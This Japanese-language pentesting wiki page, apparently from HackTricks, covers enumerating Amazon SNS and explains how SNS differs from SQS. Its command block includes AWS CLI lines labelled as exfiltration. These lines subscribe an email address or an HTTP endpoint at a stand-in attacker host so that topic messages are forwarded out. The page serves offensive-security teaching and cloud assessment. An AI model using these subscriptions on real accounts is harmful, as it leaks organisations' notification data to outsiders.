4.2 KiB
AWS - SNS Enum
{{#include ../../../banners/hacktricks-training.md}}
SNS
Amazon Simple Notification Service (Amazon SNS) は 完全に管理されたメッセージングサービス として説明されています。これは アプリケーション間 (A2A) と アプリケーションから人 (A2P) の通信タイプの両方をサポートしています。
A2A通信の主な機能には 公開/購読 (pub/sub) メカニズム が含まれます。これらのメカニズムは トピック を導入し、高スループットの プッシュベースの多対多メッセージング を可能にするために重要です。この機能は、分散システム、マイクロサービス、およびイベント駆動型サーバーレスアーキテクチャを含むシナリオで非常に有利です。これらのトピックを活用することで、発行システムは 広範囲の購読システム にメッセージを効率的に配信し、ファンアウトメッセージングパターンを促進できます。
Difference with SQS
SQS は キューに基づく サービスであり、ポイントツーポイント通信を可能にし、メッセージが 単一の消費者 によって処理されることを保証します。これは 少なくとも1回の配信 を提供し、標準およびFIFOキューをサポートし、再試行や遅延処理のためのメッセージ保持を許可します。
一方、SNS は 公開/購読に基づくサービス であり、メッセージを 複数の購読者 に同時にブロードキャストすることによって 1対多 の通信を可能にします。これは メール、SMS、Lambda関数、HTTP/HTTPS などのさまざまな購読エンドポイントをサポートし、ターゲットメッセージ配信のためのフィルタリングメカニズムを提供します。
両方のサービスは分散システム内のコンポーネント間のデカップリングを可能にしますが、SQSはキュー通信に焦点を当て、SNSはイベント駆動型のファンアウト通信パターンを強調しています。
Enumeration
# Get topics & subscriptions
aws sns list-topics
aws sns list-subscriptions
aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
Caution
トピックがFIFOタイプの場合、SQSプロトコルを使用するサブスクライバーのみが使用できます(HTTPまたはHTTPSは使用できません)。
また、
--topic-arnにリージョンが含まれていても、**--region**で正しいリージョンを指定することを確認してください。そうしないと、アクセスがないことを示すようなエラーが表示されますが、問題はリージョンです。
認証されていないアクセス
{{#ref}} ../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md {{#endref}}
権限昇格
{{#ref}} ../aws-privilege-escalation/aws-sns-privesc.md {{#endref}}
ポストエクスプロイト
{{#ref}} ../aws-post-exploitation/aws-sns-post-exploitation.md {{#endref}}
永続性
{{#ref}} ../aws-persistence/aws-sns-persistence.md {{#endref}}
参考文献
{{#include ../../../banners/hacktricks-training.md}}